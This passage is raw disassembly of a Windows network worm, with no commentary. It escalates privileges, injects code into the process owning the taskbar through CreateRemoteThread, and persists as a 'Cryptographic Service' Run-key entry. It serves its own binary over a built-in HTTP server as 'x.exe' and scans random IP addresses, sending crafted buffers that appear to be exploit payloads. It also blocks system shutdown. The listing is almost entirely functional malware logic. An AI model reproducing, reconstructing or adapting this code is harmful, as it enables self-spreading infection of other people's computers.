[ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0A0h push offset dword_31424868 push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C cmp [ebp+arg_0], 0 jz loc_31421CE7 push 68h lea eax, [ebp+var_89E4] push offset dword_31424A20 push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_4834] push 1B5Ah push eax lea eax, [ebp+var_897C] push eax call sub_31422CE2 ; memcpy push 70h lea eax, [ebp+var_690C] push offset dword_31424A8C push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_37A0] push 0A5Eh push eax lea eax, [ebp+var_689C] push eax call sub_31422CE2 ; memcpy push 84h lea eax, [ebp+var_5DD8] push offset dword_31424B00 push eax call sub_31422CE2 ; memcpy add esp, 3Ch lea eax, [ebp+var_89E4] push 0 push 10FCh push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep push 0 lea eax, [ebp+var_774] push 640h push eax push [ebp+var_4] call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jz loc_31421D4C push 0 push 0FDCh lea eax, [ebp+var_690C] jmp loc_31421D3F ; --------------------------------------------------------------------------- loc_31421BF7: ; CODE XREF: sub_31421801+22Bj push 0DACh lea eax, [ebp+var_2CD8] push 90h push eax mov [ebp+arg_0], 1 call sub_31422CD6 ; memset push 4 lea eax, [ebp+var_24F4] push offset dword_31424BF8 push eax call sub_31422CE2 ; memcpy push offset byte_314242B8 call sub_31422CDC ; strlen push eax lea eax, [ebp+var_24E4] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy push 4 lea eax, [ebp+var_21C0] push offset loc_31424C70 push eax call sub_31422CE2 ; memcpy push 4 lea eax, [ebp+var_21BC] push offset dword_31424BF8 push eax call sub_31422CE2 ; memcpy add esp, 40h push offset byte_314242B8 call sub_31422CDC ; strlen push eax lea eax, [ebp+var_21B0] push offset byte_314242B8 push eax call sub_31422CE2 ; memcpy add esp, 10h xor ecx, ecx lea eax, [ebp+var_4833] loc_31421C93: ; CODE XREF: sub_31421801+4A8j mov dl, [ebp+ecx+var_2CD8] mov [eax-1], dl and byte ptr [eax], 0 inc ecx inc eax inc eax cmp ecx, 0DACh jl short loc_31421C93 and [ebp+var_2CDC], 0 and [ebp+var_2CDB], 0 push 1C52h lea eax, [ebp+var_89E4] push 31h push eax call sub_31422CD6 ; memset push 1C52h lea eax, [ebp+var_690C] push 31h push eax call sub_31422CD6 ; memset add esp, 18h jmp loc_31421A98 ; --------------------------------------------------------------------------- loc_31421CE7: ; CODE XREF: sub_31421801+339j push 7Ch lea eax, [ebp+var_1F28] push offset dword_3142490C push eax call sub_31422CE2 ; memcpy lea eax, [ebp+var_F44] push 7D0h push eax lea eax, [ebp+var_1EAC] push eax call sub_31422CE2 ; memcpy push 90h lea eax, [ebp+var_16DC] push offset dword_3142498C push eax call sub_31422CE2 ; memcpy add esp, 24h and [ebp+var_1231], 0 lea eax, [ebp+var_1F28] push 0 push 0CF8h loc_31421D3F: ; CODE XREF: sub_31421801+3F1j push eax push [ebp+var_4] call ebx ; send push edi call esi ; Sleep and [ebp+var_C], 0 loc_31421D4C: ; CODE XREF: sub_31421801+1ADj ; sub_31421801+1E1j ... push 2 push [ebp+var_4] call dword_31421170 ; shutdown loc_31421D57: ; CODE XREF: sub_31421801+166j push [ebp+var_4] call dword_31421174 ; closesocket pop esi loc_31421D61: ; CODE XREF: sub_31421801+37j mov eax, [ebp+var_C] pop edi pop ebx leave retn sub_31421801 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421D68 proc near ; CODE XREF: UPX0:loc_31422376p var_1C = dword ptr -1Ch var_18 = byte ptr -18h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 1Ch push esi push edi push offset aAdvapi32 ; "advapi32" call dword_314210A8 ; LoadLibraryA mov esi, dword_314210A4 mov edi, eax push offset aOpenprocesstok ; "OpenProcessToken" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_4], eax jz short loc_31421DEC push offset aLookupprivileg ; "LookupPrivilegeValueA" push edi call esi ; GetProcAddress test eax, eax mov [ebp+var_8], eax jz short loc_31421DEC push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push edi call esi ; GetProcAddress mov esi, eax test esi, esi jz short loc_31421DEC lea eax, [ebp+var_C] push eax push 20h call dword_314210A0 ; GetCurrentProcess push eax call [ebp+var_4] lea eax, [ebp+var_18] mov [ebp+var_1C], 1 push eax push offset aSedebugprivile ; "SeDebugPrivilege" push 0 mov [ebp+var_10], 2 call [ebp+var_8] push 0 push 0 lea eax, [ebp+var_1C] push 10h push eax push 0 push [ebp+var_C] call esi ; GetProcAddress loc_31421DEC: ; CODE XREF: sub_31421D68+28j ; sub_31421D68+37j ... pop edi pop esi leave retn sub_31421D68 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421DF0 proc near ; CODE XREF: UPX0:3142238Ap var_18 = byte ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 18h mov ecx, dword_31425000 and [ebp+var_4], 0 push ebx push esi mov eax, [ecx+3Ch] push edi add eax, ecx push offset aKernel32 ; "kernel32" mov ecx, [eax+34h] mov edi, [eax+50h] mov [ebp+var_C], ecx call dword_314210B4 ; GetModuleHandleA mov esi, dword_314210A4 mov ebx, eax push offset aVirtualallocex ; "VirtualAllocEx" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_10], eax jnz short loc_31421E37 loc_31421E33: ; CODE XREF: sub_31421DF0+54j push 1 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E37: ; CODE XREF: sub_31421DF0+41j push offset aCreateremoteth ; "CreateRemoteThread" push ebx call esi ; GetProcAddress test eax, eax mov [ebp+var_14], eax jz short loc_31421E33 push 0 push offset aShell_traywnd ; "Shell_TrayWnd" call dword_31421110 ; FindWindowA test eax, eax jnz short loc_31421E65 call dword_31421114 ; GetForegroundWindow test eax, eax jnz short loc_31421E65 push 2 jmp short loc_31421E88 ; --------------------------------------------------------------------------- loc_31421E65: ; CODE XREF: sub_31421DF0+65j ; sub_31421DF0+6Fj lea ecx, [ebp+var_8] push ecx push eax call dword_31421118 ; GetWindowThreadProcessId push [ebp+var_8] push 0 push 42Ah call dword_314210B0 ; OpenProcess mov ebx, eax test ebx, ebx jnz short loc_31421E8B push 3 loc_31421E88: ; CODE XREF: sub_31421DF0+45j ; sub_31421DF0+73j pop eax jmp short loc_31421EF6 ; --------------------------------------------------------------------------- loc_31421E8B: ; CODE XREF: sub_31421DF0+94j push 4 push 3000h push edi push [ebp+var_C] push ebx call [ebp+var_10] mov esi, dword_3142107C test eax, eax jz short loc_31421EE9 lea ecx, [ebp+var_10] push ecx push edi push eax push eax push ebx call dword_314210AC ; WriteProcessMemory push dword_31424FF4 call esi ; CloseHandle lea eax, [ebp+var_18] xor edi, edi push eax push edi push 1 push [ebp+arg_0] push edi push edi push ebx call [ebp+var_14] cmp eax, edi jz short loc_31421ED5 push eax call esi ; CloseHandle jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421ED5: ; CODE XREF: sub_31421DF0+DEj push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov [ebp+var_4], 5 jmp short loc_31421EF0 ; --------------------------------------------------------------------------- loc_31421EE9: ; CODE XREF: sub_31421DF0+B2j mov [ebp+var_4], 4 loc_31421EF0: ; CODE XREF: sub_31421DF0+E3j ; sub_31421DF0+F7j push ebx call esi ; CloseHandle mov eax, [ebp+var_4] loc_31421EF6: ; CODE XREF: sub_31421DF0+99j pop edi pop esi pop ebx leave retn sub_31421DF0 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421EFB proc near ; CODE XREF: sub_314221C4+Bp ; UPX0:3142234Cp ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push ebx push esi push edi pusha rdtsc mov [ebp+var_8], eax popa mov [ebp+var_4], esp call dword_314210B8 ; GetTickCount mov ecx, [ebp+var_4] imul ecx, [ebp+var_8] add eax, ecx push eax call dword_314210EC ; srand pop ecx pop edi pop esi pop ebx leave retn sub_31421EFB endp ; =============== S U B R O U T I N E ======================================= sub_31421F29 proc near ; CODE XREF: sub_31421DF0+EAp ; UPX0:31422356p ... arg_0 = dword ptr 4 push [esp+arg_0] push 1 push 0 call dword_314210BC ; CreateMutexA retn sub_31421F29 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F38 proc near ; CODE XREF: sub_314223B2+155p ; sub_314223B2+160p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 ; CreateThread pop ebp retn sub_31421F38 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421F52 proc near ; CODE XREF: sub_314221C4+12Cp ; sub_314225C3+5Ap ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp lea eax, [ebp+arg_4] push eax xor eax, eax push eax push [ebp+arg_4] push [ebp+arg_0] push eax push eax call dword_314210C0 ; CreateThread push eax call dword_3142107C ; CloseHandle pop ebp retn sub_31421F52 endp ; =============== S U B R O U T I N E ======================================= sub_31421F73 proc near ; CODE XREF: sub_314211A0+68p ; sub_31422A9B+3Bp ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_0] push esi push edi mov edi, [esp+0Ch+arg_4] xor esi, esi test edi, edi jle short loc_31421F9B loc_31421F84: ; CODE XREF: sub_31421F73+26j call dword_314210FC ; rand push 1Ah cdq pop ecx idiv ecx add dl, 61h mov [esi+ebx], dl inc esi cmp esi, edi jl short loc_31421F84 loc_31421F9B: ; CODE XREF: sub_31421F73+Fj and byte ptr [ebx+edi], 0 pop edi pop esi pop ebx retn sub_31421F73 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FA3 proc near ; CODE XREF: sub_314211A0+105p var_54 = dword ptr -54h var_24 = word ptr -24h var_10 = dword ptr -10h var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = word ptr 0Ch push ebp mov ebp, esp sub esp, 54h push esi push edi push 44h xor esi, esi pop edi lea eax, [ebp+var_54] push edi push esi push eax call sub_31422CD6 ; memset mov ax, [ebp+arg_4] add esp, 0Ch mov [ebp+var_24], ax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_54] push eax push esi push esi push esi push esi push esi push esi mov [ebp+var_54], edi push [ebp+arg_0] push esi call dword_314210C4 ; CreateProcessA push [ebp+var_C] mov esi, dword_3142107C mov edi, eax call esi ; CloseHandle push [ebp+var_10] call esi ; CloseHandle mov eax, edi pop edi pop esi leave retn sub_31421FA3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31421FF9 proc near ; CODE XREF: sub_3142264B+3Ep ; sub_31422712+7p ... var_34 = byte ptr -34h push ebp mov ebp, esp sub esp, 34h lea eax, [ebp+var_34] push 31h push eax call dword_3142114C ; gethostname cmp eax, 0FFFFFFFFh jnz short loc_3142201A call dword_31421150 ; WSAGetLastError xor eax, eax leave retn ; --------------------------------------------------------------------------- loc_3142201A: ; CODE XREF: sub_31421FF9+15j lea eax, [ebp+var_34] push eax call dword_31421154 ; gethostbyname test eax, eax jnz short loc_3142202F mov eax, 100007Fh leave retn ; --------------------------------------------------------------------------- loc_3142202F: ; CODE XREF: sub_31421FF9+2Dj mov eax, [eax+0Ch] mov eax, [eax] mov eax, [eax] leave retn sub_31421FF9 endp ; =============== S U B R O U T I N E ======================================= sub_31422038 proc near ; CODE XREF: sub_314216A2+12p ; sub_3142255F+22p ... var_4 = byte ptr -4 push ecx lea eax, [esp+4+var_4] push 0 push eax call dword_31421130 ; InternetGetConnectedState neg eax sbb eax, eax neg eax pop ecx retn sub_31422038 endp ; =============== S U B R O U T I N E ======================================= sub_3142204E proc near ; CODE XREF: sub_314223B2+E6p arg_0 = dword ptr 4 push [esp+arg_0] push 0 push 2 call dword_314210CC ; OpenEventA test eax, eax jz short locret_31422067 push eax call dword_314210C8 ; SetEvent locret_31422067: ; CODE XREF: sub_3142204E+10j retn sub_3142204E endp ; =============== S U B R O U T I N E ======================================= sub_31422068 proc near ; CODE XREF: sub_314216A2+68p push esi mov esi, dword_314210FC push edi call esi ; rand mov edi, eax shl edi, 10h call esi ; rand or eax, edi pop edi pop esi retn sub_31422068 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142207E proc near ; DATA XREF: sub_314221C4+127o var_200 = byte ptr -200h var_100 = byte ptr -100h arg_0 = dword ptr 8 push ebp mov ebp, esp sub esp, 200h push ebx mov ebx, [ebp+arg_0] push esi push edi xor edi, edi lea eax, [ebp+var_100] push edi push 100h push eax push ebx call dword_3142116C ; recv cmp eax, 0FFFFFFFFh jnz short loc_314220AF push 1 jmp loc_3142216A ; --------------------------------------------------------------------------- loc_314220AF: ; CODE XREF: sub_3142207E+28j mov esi, dword_31421104 lea eax, [ebp+var_100] push offset aGet ; "GET" push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_3142217A lea eax, [ebp+var_100] push offset dword_314241F0 push eax call esi ; strstr pop ecx test eax, eax pop ecx jz loc_3142217A mov esi, dword_31421168 push 0 push 3Dh push offset aHttp1_1200OkCo ; "HTTP/1.1 200 OK\r\nContent-Type: applicat"... push ebx call esi ; send push dword_31424FF0 lea eax, [ebp+var_200] push offset aContentLengthU ; "Content-Length: %u\r\n\r\n" push eax call dword_3142111C ; wsprintfA add esp, 0Ch lea eax, [ebp+var_200] push 0 push eax call sub_31422CDC ; strlen pop ecx push eax lea eax, [ebp+var_200] push eax push ebx call esi ; send loc_3142212C: ; CODE XREF: sub_3142207E+E8j mov eax, dword_31424FF0 mov ecx, 1000h sub eax, edi cmp eax, ecx jb short loc_3142213E mov eax, ecx loc_3142213E: ; CODE XREF: sub_3142207E+BCj test eax, eax jz short loc_3142216D push 0 push eax mov eax, dword_31424FE8 add eax, edi push eax push ebx call esi ; send cmp eax, 0FFFFFFFFh jz short loc_31422168 cmp eax, 1000h jb short loc_3142216D push 64h add edi, eax call dword_31421094 ; Sleep jmp short loc_3142212C ; --------------------------------------------------------------------------- loc_31422168: ; CODE XREF: sub_3142207E+D5j push 2 loc_3142216A: ; CODE XREF: sub_3142207E+2Cj pop eax jmp short loc_314221BD ; --------------------------------------------------------------------------- loc_3142216D: ; CODE XREF: sub_3142207E+C2j ; sub_3142207E+DCj push offset dword_31424FEC call dword_314210D4 ; InterlockedIncrement jmp short loc_31422198 ; --------------------------------------------------------------------------- loc_3142217A: ; CODE XREF: sub_3142207E+49j ; sub_3142207E+61j mov esi, dword_31421168 push 0 push 15h push offset aHttp1_1200Ok ; "HTTP/1.1 200 OK\r\n\r\n\r\n" push ebx call esi ; send push 0 push 3 push offset dword_31424D38 push ebx call esi ; send loc_31422198: ; CODE XREF: sub_3142207E+FAj push 7D0h call dword_31421094 ; Sleep push 2 push ebx call dword_31421170 ; shutdown push ebx call dword_31421174 ; closesocket push 0 call dword_314210D0 ; ExitThread xor eax, eax loc_314221BD: ; CODE XREF: sub_3142207E+EDj pop edi pop esi pop ebx leave retn 4 sub_3142207E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314221C4 proc near ; DATA XREF: sub_314223B2+150o var_130 = byte ptr -130h var_28 = byte ptr -28h var_18 = word ptr -18h var_16 = word ptr -16h var_14 = dword ptr -14h var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp sub esp, 130h push ebx push edi call sub_31421EFB lea eax, [ebp+var_130] push 104h push eax push offset aCryptographicS ; "Cryptographic Service" xor ebx, ebx push offset aSoftwareMicros ; "SOFTWARE\\Microsoft\\Windows\\CurrentVersi"... push 80000002h mov dword_31424FEC, ebx call sub_31422882 add esp, 14h test eax, eax jnz loc_314222F9 push esi push ebx push ebx push 3 push ebx push 1 lea eax, [ebp+var_130] push 80000000h push eax call dword_31421080 ; CreateFileA mov esi, eax cmp esi, 0FFFFFFFFh jnz short loc_31422230 push 1 call dword_314210D0 ; ExitThread loc_31422230: ; CODE XREF: sub_314221C4+62j push ebx push esi call dword_314210DC ; GetFileSize push eax mov dword_31424FF0, eax call sub_31422CA5 pop ecx mov dword_31424FE8, eax lea ecx, [ebp+var_4] push ebx push ecx push dword_31424FF0 push eax push esi call dword_314210D8 ; ReadFile mov eax, [ebp+var_4] push esi mov dword_31424FF0, eax call dword_3142107C ; CloseHandle push ebx push 1 push 2 call dword_31421158 ; socket push 10h mov edi, eax pop esi lea eax, [ebp+var_18] push esi push ebx push eax call sub_31422CD6 ; memset add esp, 0Ch mov [ebp+var_18], 2 mov [ebp+var_14], ebx loc_31422292: ; CODE XREF: sub_314221C4+E5j ; sub_314221C4+EDj ... call dword_314210FC ; rand add eax, 7D0h and eax, 1FFFh cmp al, bl mov dword_31424FFC, eax jz short loc_31422292 xor ecx, ecx mov cl, ah test cl, cl jz short loc_31422292 push eax call dword_31421160 ; htons mov [ebp+var_16], ax lea eax, [ebp+var_18] push esi push eax push edi call dword_31421140 ; bind test eax, eax jnz short loc_31422292 push 64h push edi call dword_31421144 ; listen mov [ebp+var_8], esi pop esi loc_314222DB: ; CODE XREF: sub_314221C4+133j lea eax, [ebp+var_8] push eax lea eax, [ebp+var_28] push eax push edi call dword_31421148 ; accept push eax push offset sub_3142207E call sub_31421F52 pop ecx pop ecx jmp short loc_314222DB ; --------------------------------------------------------------------------- loc_314222F9: ; CODE XREF: sub_314221C4+3Dj push ebx call dword_314210D0 ; ExitThread pop edi xor eax, eax pop ebx leave retn 4 sub_314221C4 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422308 proc near ; CODE XREF: sub_314223B2:loc_314224FCp var_190 = byte ptr -190h push ebp mov ebp, esp sub esp, 190h lea eax, [ebp+var_190] push esi mov esi, dword_3142113C push eax push 2 call esi ; WSAStartup lea eax, [ebp+var_190] push eax push 102h call esi ; WSAStartup pop esi leave retn sub_31422308 endp ; --------------------------------------------------------------------------- loc_31422334: ; CODE XREF: UPX1:31427D08j push 0 call dword_314210B4 ; GetModuleHandleA push offset aFtpupd_exe ; "ftpupd.exe" mov dword_31425000, eax call dword_31421074 ; DeleteFileA call sub_31421EFB push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov dword_31424FF4, eax call dword_314210E4 ; RtlGetLastWin32Error cmp eax, 0B7h jnz short loc_31422376 push 1 call dword_314210E0 ; ExitProcess loc_31422376: ; CODE XREF: UPX0:3142236Cj call sub_31421D68 call sub_314229E6 call sub_31422B67 push offset sub_314223B2 call sub_31421DF0 test eax, eax pop ecx jz short loc_3142239B push 0 call sub_314223B2 loc_3142239B: ; CODE XREF: UPX0:31422392j xor eax, eax retn ; =============== S U B R O U T I N E ======================================= sub_3142239E proc near ; CODE XREF: sub_314223B2:loc_31422525p ; sub_3142255F:loc_31422578p ... push 0 push dword_31424FF8 call dword_31421070 ; WaitForSingleObject neg eax sbb eax, eax inc eax retn sub_3142239E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314223B2 proc near ; CODE XREF: UPX0:31422396p ; DATA XREF: UPX0:31422385o var_74 = dword ptr -74h var_70 = dword ptr -70h var_6C = dword ptr -6Ch var_68 = dword ptr -68h var_64 = dword ptr -64h var_60 = dword ptr -60h var_5C = dword ptr -5Ch var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_31421190 push offset loc_31422CD0 mov eax, large fs:0 push eax mov large fs:0, esp sub esp, 64h push ebx push esi push edi mov [ebp+var_70], offset aU10x ; "u10x" mov [ebp+var_6C], offset aU11x ; "u11x" mov [ebp+var_68], offset aU12x ; "u12x" mov [ebp+var_64], offset aU13x ; "u13x" mov [ebp+var_60], offset aU14x ; "u14x" mov [ebp+var_5C], offset aU15x ; "u15x" mov [ebp+var_58], offset aU16x ; "u16x" mov [ebp+var_54], offset aU17x ; "u17x" mov [ebp+var_50], offset aU18x ; "u18x" mov [ebp+var_4C], offset aU8 ; "u8" mov [ebp+var_48], offset aU9 ; "u9" mov [ebp+var_44], offset aU10 ; "u10" mov [ebp+var_40], offset aU11 ; "u11" mov [ebp+var_3C], offset aU12 ; "u12" mov [ebp+var_38], offset aU13 ; "u13" mov [ebp+var_34], offset aU13i ; "u13i" mov [ebp+var_30], offset aU14 ; "u14" mov [ebp+var_2C], offset aU15 ; "u15" mov [ebp+var_28], offset aU16 ; "u16" mov [ebp+var_24], offset aU17 ; "u17" mov [ebp+var_20], offset aU18 ; "u18" mov [ebp+var_1C], offset aU19 ; "u19" push offset aU19x ; "u19x" xor edi, edi push edi push 1 push edi call dword_3142106C ; CreateEventA mov dword_31424FF8, eax mov [ebp+var_4], edi mov [ebp+var_74], edi loc_3142248B: ; CODE XREF: sub_314223B2+EFj cmp [ebp+var_74], 9 jnb short loc_314224A3 mov eax, [ebp+var_74] push [ebp+eax*4+var_70] call sub_3142204E pop ecx inc [ebp+var_74] jmp short loc_3142248B ; --------------------------------------------------------------------------- loc_314224A3: ; CODE XREF: sub_314223B2+DDj mov [ebp+var_74], edi loc_314224A6: ; CODE XREF: sub_314223B2+10Aj cmp [ebp+var_74], 0Dh jnb short loc_314224BE mov eax, [ebp+var_74] push [ebp+eax*4+var_4C] call sub_31421F29 pop ecx inc [ebp+var_74] jmp short loc_314224A6 ; --------------------------------------------------------------------------- loc_314224BE: ; CODE XREF: sub_314223B2+F8j cmp [ebp+arg_0], edi jz short loc_314224FC push offset aWs2_32 ; "ws2_32" mov esi, dword_314210A8 call esi ; LoadLibraryA push offset aWininet ; "wininet" call esi ; LoadLibraryA push offset aMsvcrt ; "msvcrt" call esi ; LoadLibraryA push offset aAdvapi32 ; "advapi32" call esi ; LoadLibraryA push offset aUser32 ; "user32" call esi ; LoadLibraryA push offset aUterm19 ; "uterm19" call sub_31421F29 pop ecx mov dword_31424FF4, eax loc_314224FC: ; CODE XREF: sub_314223B2+10Fj call sub_31422308 push edi push offset sub_314221C4 call sub_31421F38 push edi push offset sub_314216A2 call sub_31421F38 push edi push offset loc_3142276E call sub_31421F38 add esp, 18h loc_31422525: ; CODE XREF: sub_314223B2+18Ej call sub_3142239E test eax, eax jnz short loc_31422542 push edi call dword_31421018 ; AbortSystemShutdownA push 1388h call dword_31421094 ; Sleep jmp short loc_31422525 ; --------------------------------------------------------------------------- loc_31422542: ; CODE XREF: sub_314223B2+17Aj or [ebp+var_4], 0FFFFFFFFh call nullsub_2 xor eax, eax mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx leave retn 4 sub_314223B2 endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_2. PRESS KEYPAD "+" TO EXPAND] ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142255F proc near ; DATA XREF: sub_314225C3+55o ; sub_3142264B+6Ao ... var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_3142256E push 1 pop eax jmp short locret_314225BF ; --------------------------------------------------------------------------- loc_3142256E: ; CODE XREF: sub_3142255F+8j mov al, byte ptr [ebp+arg_0+3] push ebx push esi mov [ebp+var_1], al xor bl, bl loc_31422578: ; CODE XREF: sub_3142255F+5Aj call sub_3142239E test eax, eax jnz short loc_314225BB call sub_31422038 test eax, eax jz short loc_314225BB cmp [ebp+var_1], bl jz short loc_314225B4 mov byte ptr [ebp+arg_0+3], bl push [ebp+arg_0] call sub_31421801 movzx esi, word_3142500C pop ecx call dword_314210FC ; rand cdq idiv esi add edx, esi push edx call dword_31421094 ; Sleep loc_314225B4: ; CODE XREF: sub_3142255F+2Ej inc bl cmp bl, 0FFh jb short loc_31422578 loc_314225BB: ; CODE XREF: sub_3142255F+20j ; sub_3142255F+29j pop esi xor eax, eax pop ebx locret_314225BF: ; CODE XREF: sub_3142255F+Dj leave retn 4 sub_3142255F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_314225C3 proc near ; DATA XREF: sub_3142264B+7Eo ; UPX0:31422803o arg_0 = dword ptr 8 push ebp mov ebp, esp cmp byte ptr [ebp+arg_0], 7Fh jnz short loc_314225D1 push 1 pop eax jmp short loc_31422647 ; --------------------------------------------------------------------------- loc_314225D1: ; CODE XREF: sub_314225C3+7j push ebx push esi push edi call sub_31421EFB mov esi, dword_314210FC xor ebx, ebx loc_314225E1: ; CODE XREF: sub_314225C3+7Dj call sub_3142239E test eax, eax jnz short loc_31422642 call sub_31422038 test eax, eax jz short loc_31422642 call esi ; rand mov byte ptr [ebp+arg_0+2], al call esi ; rand push offset dword_31425004 mov byte ptr [ebp+arg_0+3], al call dword_314210D4 ; InterlockedIncrement push [ebp+arg_0] call sub_31421801 test eax, eax pop ecx jnz short loc_31422624 push [ebp+arg_0] push offset sub_3142255F call sub_31421F52 pop ecx pop ecx loc_31422624: ; CODE XREF: sub_314225C3+50j movzx edi, word_3142500C call esi ; rand cdq idiv edi add edx, edi push edx call dword_31421094 ; Sleep inc ebx cmp ebx, 8000h jl short loc_314225E1 loc_31422642: ; CODE XREF: sub_314225C3+25j ; sub_314225C3+2Ej pop edi pop esi xor eax, eax pop ebx loc_31422647: ; CODE XREF: sub_314225C3+Cj pop ebp retn 4 sub_314225C3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_3142264B proc near ; DATA XREF: UPX0:3142281Bo var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx call sub_31421EFB call sub_3142239E test eax, eax jnz loc_31422704 push ebx mov ebx, dword_31421094 push esi mov esi, dword_314210FC push edi loc_31422671: ; CODE XREF: sub_3142264B+48j ; sub_3142264B+B0j call esi ; rand mov byte ptr [ebp+var_4+1], al call esi ; rand mov byte ptr [ebp+var_4+3], al call esi ; rand mov byte ptr [ebp+var_4+2], al loc_31422680: ; CODE XREF: sub_3142264B+3Cj call esi ; rand cmp al, 7Fh mov byte ptr [ebp+var_4], al jz short loc_31422680 call sub_31421FF9 mov edi, [ebp+var_4] cmp edi, eax jz short loc_31422671 call sub_31422038 test eax, eax jz short loc_314226DC push offset dword_31425004 call dword_314210D4 ; InterlockedIncrement push edi call sub_31421801 test eax, eax pop ecx jnz short loc_314226E3 push edi push offset sub_3142255F call sub_31421F52 pop ecx mov [ebp+var_8], 4 pop ecx loc_314226C8: ; CODE XREF: sub_3142264B+8Dj push edi push offset sub_314225C3 call sub_31421F52 dec [ebp+var_8] pop ecx pop ecx jnz short loc_314226C8 jmp short loc_314226E3 ; --------------------------------------------------------------------------- loc_314226DC: ; CODE XREF: sub_3142264B+51j push 2710h call ebx ; Sleep loc_314226E3: ; CODE XREF: sub_3142264B+67j ; sub_3142264B+8Fj movzx edi, word_3142500C call esi ; rand cdq idiv edi add edx, edi push edx call ebx ; Sleep call sub_3142239E test eax, eax jz loc_31422671 pop edi pop esi pop ebx loc_31422704: ; CODE XREF: sub_3142264B+11j push 0 call dword_314210D0 ; ExitThread xor eax, eax leave retn 4 sub_3142264B endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_31422712 proc near ; CODE XREF: UPX0:314227E0p ; UPX0:loc_31422846p var_50 = byte ptr -50h var_28 = byte ptr -28h push ebp mov ebp, esp sub esp, 50h push esi call sub_31421FF9 push eax call dword_3142115C ; inet_ntoa mov esi, dword_31421068 push eax lea eax, [ebp+var_28] push eax call esi ; lstrcpy push dword_31424FFC lea eax, [ebp+var_28] push eax lea eax, [ebp+var_50] push offset aHttpSDX_exe ; "http://%s:%d/x.exe" push eax call dword_3142111C ; wsprintfA add esp, 10h lea eax, [ebp+var_50] push eax push offset word_314242BA call esi ; lstrcpy push offset byte_314242B8 call dword_31421084 ; lstrlen mov byte_314242B8[eax], 0DFh pop esi leave retn sub_31422712 endp ; --------------------------------------------------------------------------- loc_3142276E: ; DATA XREF: sub_314223B2+166o push ecx push ecx push ebx push ebp push esi xor ebx, ebx push edi mov dword_31425004, ebx call sub_31422038 mov esi, dword_31421094 mov edi, 1388h test eax, eax jnz short loc_3142279C loc_31422790: ; CODE XREF: UPX0:3142279Aj push edi call esi ; Sleep call sub_31422038 test eax, eax jz short loc_31422790 loc_3142279C: ; CODE XREF: UPX0:3142278Ej lea eax, [esp+14h] push ebx push eax call dword_31421130 ; InternetGetConnectedState test byte ptr [esp+14h], 2 push 50h mov dword_31425008, ebx pop ebp mov word_3142500C, 96h jz short loc_314227D9 mov dword_31425008, 1 mov ebp, 15Eh mov word_3142500C, 14h loc_314227D9: ; CODE XREF: UPX0:314227BFj call sub_31421FF9 mov ebx, eax call sub_31422712 cmp ebx, 100007Fh jz short 